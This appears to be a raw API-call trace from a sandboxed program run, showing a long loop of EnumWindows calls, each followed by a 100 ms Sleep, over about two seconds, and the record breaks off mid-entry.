[0246.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.549] Sleep (dwMilliseconds=0x64) [0246.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.562] Sleep (dwMilliseconds=0x64) [0246.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.571] Sleep (dwMilliseconds=0x64) [0246.581] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.581] Sleep (dwMilliseconds=0x64) [0246.583] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.583] Sleep (dwMilliseconds=0x64) [0246.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.585] Sleep (dwMilliseconds=0x64) [0246.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.586] Sleep (dwMilliseconds=0x64) [0246.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.588] Sleep (dwMilliseconds=0x64) [0246.591] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.591] Sleep (dwMilliseconds=0x64) [0246.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.592] Sleep (dwMilliseconds=0x64) [0246.594] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.595] Sleep (dwMilliseconds=0x64) [0246.596] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.596] Sleep (dwMilliseconds=0x64) [0246.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.598] Sleep (dwMilliseconds=0x64) [0246.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.600] Sleep (dwMilliseconds=0x64) [0246.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.601] Sleep (dwMilliseconds=0x64) [0246.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.603] Sleep (dwMilliseconds=0x64) [0246.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.604] Sleep (dwMilliseconds=0x64) [0246.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.606] Sleep (dwMilliseconds=0x64) [0246.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.608] Sleep (dwMilliseconds=0x64) [0246.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.610] Sleep (dwMilliseconds=0x64) [0246.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.611] Sleep (dwMilliseconds=0x64) [0246.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.613] Sleep (dwMilliseconds=0x64) [0246.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.615] Sleep (dwMilliseconds=0x64) [0246.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.616] Sleep (dwMilliseconds=0x64) [0246.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.618] Sleep (dwMilliseconds=0x64) [0246.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.620] Sleep (dwMilliseconds=0x64) [0246.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.622] Sleep (dwMilliseconds=0x64) [0246.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.623] Sleep (dwMilliseconds=0x64) [0246.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.626] Sleep (dwMilliseconds=0x64) [0246.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.628] Sleep (dwMilliseconds=0x64) [0246.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.630] Sleep (dwMilliseconds=0x64) [0246.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.632] Sleep (dwMilliseconds=0x64) [0246.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.634] Sleep (dwMilliseconds=0x64) [0246.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.636] Sleep (dwMilliseconds=0x64) [0246.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.638] Sleep (dwMilliseconds=0x64) [0246.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.640] Sleep (dwMilliseconds=0x64) [0246.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.642] Sleep (dwMilliseconds=0x64) [0246.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.643] Sleep (dwMilliseconds=0x64) [0246.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.645] Sleep (dwMilliseconds=0x64) [0246.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.647] Sleep (dwMilliseconds=0x64) [0246.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.650] Sleep (dwMilliseconds=0x64) [0246.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.689] Sleep (dwMilliseconds=0x64) [0246.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.691] Sleep (dwMilliseconds=0x64) [0246.694] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.694] Sleep (dwMilliseconds=0x64) [0246.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.696] Sleep (dwMilliseconds=0x64) [0246.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.698] Sleep (dwMilliseconds=0x64) [0246.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.700] Sleep (dwMilliseconds=0x64) [0246.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.702] Sleep (dwMilliseconds=0x64) [0246.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.705] Sleep (dwMilliseconds=0x64) [0246.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.706] Sleep (dwMilliseconds=0x64) [0246.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.708] Sleep (dwMilliseconds=0x64) [0246.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.710] Sleep (dwMilliseconds=0x64) [0246.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.712] Sleep (dwMilliseconds=0x64) [0246.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.714] Sleep (dwMilliseconds=0x64) [0246.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.716] Sleep (dwMilliseconds=0x64) [0246.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.718] Sleep (dwMilliseconds=0x64) [0246.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.742] Sleep (dwMilliseconds=0x64) [0246.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.845] Sleep (dwMilliseconds=0x64) [0246.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.847] Sleep (dwMilliseconds=0x64) [0246.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.849] Sleep (dwMilliseconds=0x64) [0246.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.851] Sleep (dwMilliseconds=0x64) [0246.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.853] Sleep (dwMilliseconds=0x64) [0246.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.856] Sleep (dwMilliseconds=0x64) [0246.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.858] Sleep (dwMilliseconds=0x64) [0246.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.861] Sleep (dwMilliseconds=0x64) [0246.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.863] Sleep (dwMilliseconds=0x64) [0246.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.865] Sleep (dwMilliseconds=0x64) [0246.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.866] Sleep (dwMilliseconds=0x64) [0246.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.868] Sleep (dwMilliseconds=0x64) [0246.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.870] Sleep (dwMilliseconds=0x64) [0246.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.902] Sleep (dwMilliseconds=0x64) [0246.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.944] Sleep (dwMilliseconds=0x64) [0246.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.946] Sleep (dwMilliseconds=0x64) [0246.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.948] Sleep (dwMilliseconds=0x64) [0246.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.949] Sleep (dwMilliseconds=0x64) [0246.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.951] Sleep (dwMilliseconds=0x64) [0246.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.953] Sleep (dwMilliseconds=0x64) [0246.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.955] Sleep (dwMilliseconds=0x64) [0246.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.958] Sleep (dwMilliseconds=0x64) [0246.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.959] Sleep (dwMilliseconds=0x64) [0246.960] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.961] Sleep (dwMilliseconds=0x64) [0246.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.962] Sleep (dwMilliseconds=0x64) [0246.963] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.964] Sleep (dwMilliseconds=0x64) [0246.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.965] Sleep (dwMilliseconds=0x64) [0246.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.967] Sleep (dwMilliseconds=0x64) [0246.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.968] Sleep (dwMilliseconds=0x64) [0246.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.970] Sleep (dwMilliseconds=0x64) [0246.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.971] Sleep (dwMilliseconds=0x64) [0246.972] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.973] Sleep (dwMilliseconds=0x64) [0247.083] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0247.083] Sleep (dwMilliseconds=0x64) [0247.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0247.085] Sleep (dwMilliseconds=0x64) [0247.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0247.087] Sleep (dwMilliseconds=0x64) [0247.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0247.433] Sleep (dwMilliseconds=0x64) [0247.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0247.619] Sleep (dwMilliseconds=0x64) [0247.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0247.729] Sleep (dwMilliseconds=0x64) [0247.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0247.774] Sleep (dwMilliseconds=0x64) [0247.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0247.946] Sleep (dwMilliseconds=0x64) [0247.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0247.953] Sleep (dwMilliseconds=0x64) [0247.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0247.955] Sleep (dwMilliseconds=0x64) [0247.960] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0247.961] Sleep (dwMilliseconds=0x64) [0247.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0247.979] Sleep (dwMilliseconds=0x64) [0248.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.199] Sleep (dwMilliseconds=0x64) [0248.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.315] Sleep (dwMilliseconds=0x64) [0248.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.327] Sleep (dwMilliseconds=0x64) [0248.339] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.339] Sleep (dwMilliseconds=0x64) [0248.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.341] Sleep (dwMilliseconds=0x64) [0248.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.343] Sleep (dwMilliseconds=0x64) [0248.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.356] Sleep (dwMilliseconds=0x64) [0248.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.457] Sleep (dwMilliseconds=0x64) [0248.500] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.501] Sleep (dwMilliseconds=0x64) [0248.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.503] Sleep (dwMilliseconds=0x64) [0248.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.504] Sleep (dwMilliseconds=0x64) [0248.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.506] Sleep (dwMilliseconds=0x64) [0248.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.507] Sleep (dwMilliseconds=0x64) [0248.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.509] Sleep (dwMilliseconds=0x64) [0248.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.513] Sleep (dwMilliseconds=0x64) [0248.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.515] Sleep (dwMilliseconds=0x64) [0248.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.517] Sleep (dwMilliseconds=0x64) [0248.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.519] Sleep (dwMilliseconds=0x64) [0248.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.520] Sleep (dwMilliseconds=0x64) [0248.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.522] Sleep (dwMilliseconds=0x64) [0248.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.523] Sleep (dwMilliseconds=0x64) [0248.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.525] Sleep (dwMilliseconds=0x64) [0248.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.527] Sleep (dwMilliseconds=0x64) [0248.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.530] Sleep (dwMilliseconds=0x64) [0248.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.531] Sleep (dwMilliseconds=0x64) [0248.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.534] Sleep (dwMilliseconds=0x64) [0248.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.536] Sleep (dwMilliseconds=0x64) [0248.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.538] Sleep (dwMilliseconds=0x64) [0248.539] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.539] Sleep (dwMilliseconds=0x64) [0248.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.545] Sleep (dwMilliseconds=0x64) [0248.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.547] Sleep (dwMilliseconds=0x64) [0248.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.549] Sleep (dwMilliseconds=0x64) [0248.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.551] Sleep (dwMilliseconds=0x64) [0248.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.553] Sleep (dwMilliseconds=0x64) [0248.555] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.555] Sleep (dwMilliseconds=0x64) [0248.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.557] Sleep (dwMilliseconds=0x64) [0248.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.560] Sleep (dwMilliseconds=0x64) [0248.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.562] Sleep (dwMilliseconds=0x64) [0248.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.564] Sleep (dwMilliseconds=0x64) [0248.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.567] Sleep (dwMilliseconds=0x64) [0248.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.569] Sleep (dwMilliseconds=0x64) [0248.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.571] Sleep (dwMilliseconds=0x64) [0248.573] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.573] Sleep (dwMilliseconds=0x64) [0248.575] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.576] Sleep (dwMilliseconds=0x64) [0248.577] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.577] Sleep (dwMilliseconds=0x64) [0248.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.580] Sleep (dwMilliseconds=0x64) [0248.581] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.581] Sleep (dwMilliseconds=0x64) [0248.583] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.583] Sleep (dwMilliseconds=0x64) [0248.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.585] Sleep (dwMilliseconds=0x64) [0248.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.587] Sleep (dwMilliseconds=0x64) [0248.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.589] Sleep (dwMilliseconds=0x64) [0248.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.591] Sleep (dwMilliseconds=0x64) [0248.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.593] Sleep (dwMilliseconds=0x64) [0248.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.595] Sleep (dwMilliseconds=0x64) [0248.596] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.596] Sleep (dwMilliseconds=0x64) [0248.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.598] Sleep (dwMilliseconds=0x64) [0248.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.600] Sleep (dwMilliseconds=0x64) [0248.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.603] Sleep (dwMilliseconds=0x64) [0248.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.604] Sleep (dwMilliseconds=0x64) [0248.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.606] Sleep (dwMilliseconds=0x64) [0248.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.608] Sleep (dwMilliseconds=0x64) [0248.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.610] Sleep (dwMilliseconds=0x64) [0248.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.612] Sleep (dwMilliseconds=0x64) [0248.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.614] Sleep (dwMilliseconds=0x64) [0248.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.616] Sleep (dwMilliseconds=0x64) [0248.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.618] Sleep (dwMilliseconds=0x64) [0248.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.619] Sleep (dwMilliseconds=0x64) [0248.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.621] Sleep (dwMilliseconds=0x64) [0248.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.623] Sleep (dwMilliseconds=0x64) [0248.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.626] Sleep (dwMilliseconds=0x64) [0248.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.627] Sleep (dwMilliseconds=0x64) [0248.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.629] Sleep (dwMilliseconds=0x64) [0248.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.631] Sleep (dwMilliseconds=0x64) [0248.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.633] Sleep (dwMilliseconds=0x64) [0248.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.635] Sleep (dwMilliseconds=0x64) [0248.637] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.637] Sleep (dwMilliseconds=0x64) [0248.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.639] Sleep (dwMilliseconds=0x64) [0248.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.641] Sleep (dwMilliseconds=0x64) [0248.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.643] Sleep (dwMilliseconds=0x64) [0248.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.645] Sleep (dwMilliseconds=0x64) [0248.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.646] Sleep (dwMilliseconds=0x64) [0248.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.649] Sleep (dwMilliseconds=0x64) [0248.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.651] Sleep (dwMilliseconds=0x64) [0248.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.653] Sleep (dwMilliseconds=0x64) [0248.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.655] Sleep (dwMilliseconds=0x64) [0248.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.657] Sleep (dwMilliseconds=0x64) [0248.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.659] Sleep (dwMilliseconds=0x64) [0248.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.661] Sleep (dwMilliseconds=0x64) [0248.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.663] Sleep (dwMilliseconds=0x64) [0248.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.665] Sleep (dwMilliseconds=0x64) [0248.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.668] Sleep (dwMilliseconds=0x64) [0248.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.671] Sleep (dwMilliseconds=0x64) [0248.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.673] Sleep (dwMilliseconds=0x64) [0248.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.675] Sleep (dwMilliseconds=0x64) [0248.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.676] Sleep (dwMilliseconds=0x64) [0248.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.678] Sleep (dwMilliseconds=0x64) [0248.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.680] Sleep (dwMilliseconds=0x64) [0248.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.682] Sleep (dwMilliseconds=0x64) [0248.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.683] Sleep (dwMilliseconds=0x64) [0248.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.685] Sleep (dwMilliseconds=0x64) [0248.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.686] Sleep (dwMilliseconds=0x64) [0248.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.688] Sleep (dwMilliseconds=0x64) [0248.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.690] Sleep (dwMilliseconds=0x64) [0248.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.691] Sleep (dwMilliseconds=0x64) [0248.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.693] Sleep (dwMilliseconds=0x64) [0248.694] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.694] Sleep (dwMilliseconds=0x64) [0248.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.696] Sleep (dwMilliseconds=0x64) [0248.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.697] Sleep (dwMilliseconds=0x64) [0248.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.699] Sleep (dwMilliseconds=0x64) [0248.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.700] Sleep (dwMilliseconds=0x64) [0248.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.702] Sleep (dwMilliseconds=0x64) [0248.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.703] Sleep (dwMilliseconds=0x64) [0248.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.705] Sleep (dwMilliseconds=0x64) [0248.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.708] Sleep (dwMilliseconds=0x64) [0248.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.710] Sleep (dwMilliseconds=0x64) [0248.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.712] Sleep (dwMilliseconds=0x64) [0248.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.714] Sleep (dwMilliseconds=0x64) [0248.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.716] Sleep (dwMilliseconds=0x64) [0248.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.718] Sleep (dwMilliseconds=0x64) [0248.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.720] Sleep (dwMilliseconds=0x64) [0248.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.722] Sleep (dwMilliseconds=0x64) [0248.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.724] Sleep (dwMilliseconds=0x64) [0248.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.726] Sleep (dwMilliseconds=0x64) [0248.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.729] Sleep (dwMilliseconds=0x64) [0248.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.731] Sleep (dwMilliseconds=0x64) [0248.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.733] Sleep (dwMilliseconds=0x64) [0248.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.735] Sleep (dwMilliseconds=0x64) [0248.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.737] Sleep (dwMilliseconds=0x64) [0248.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.739] Sleep (dwMilliseconds=0x64) [0248.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.741] Sleep (dwMilliseconds=0x64) [0248.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.742] Sleep (dwMilliseconds=0x64) [0248.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.744] Sleep (dwMilliseconds=0x64) [0248.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.746] Sleep (dwMilliseconds=0x64) [0248.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.747] Sleep (dwMilliseconds=0x64) [0248.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.750] Sleep (dwMilliseconds=0x64) [0248.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.752] Sleep (dwMilliseconds=0x64) [0248.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.753] Sleep (dwMilliseconds=0x64) [0248.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.755] Sleep (dwMilliseconds=0x64) [0248.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.758] Sleep (dwMilliseconds=0x64) [0248.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.760] Sleep (dwMilliseconds=0x64) [0248.761] EnumWindows 